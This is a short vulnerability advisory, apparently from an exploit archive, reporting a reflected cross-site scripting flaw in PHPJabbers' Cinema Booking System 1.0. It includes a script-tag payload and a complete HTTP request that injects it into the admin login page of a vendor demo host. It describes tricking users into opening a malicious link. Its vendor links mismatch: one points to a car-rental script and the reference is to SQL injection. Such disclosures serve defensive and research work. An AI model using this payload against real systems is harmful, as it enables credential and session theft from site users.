Cinema Booking System 1.0 Cross Site Scripting

## Title: Cinema Booking System-1.0 XSS-Reflected## Author: nu11secur1ty## Date: 09/05/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/car-rental-script/## Reference: https://portswigger.net/web-security/sql-injection## Description:The name of an arbitrarily supplied URL parameter is copied into thevalue of an HTML tag attribute which is encapsulated in doublequotation marks. The payload kfimq"><script>alert(1)</script>k0a57 wassubmitted in the name of an arbitrarily supplied URL parameter. Thisinput was echoed unmodified in the application's response. Theattacker can trick all users of this system into visiting a veryDANGEROUS URL address, and the worst thing is when they try to log into this system, by using his malicious link!STATUS: HIGH-CRITICAL Vulnerability[+]Testing Payload:```GET /1693939439_790/index.php/kfimq"><script>alert(1)</script>k0a57?controller=pjAdmin&action=pjActionLoginHTTP/1.1Host: demo.phpjabbers.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141Safari/537.36Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Cinema-Booking-System-1.0%20)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/cinema-booking-system-10-xss-reflected.html)## Time spent:00:17:00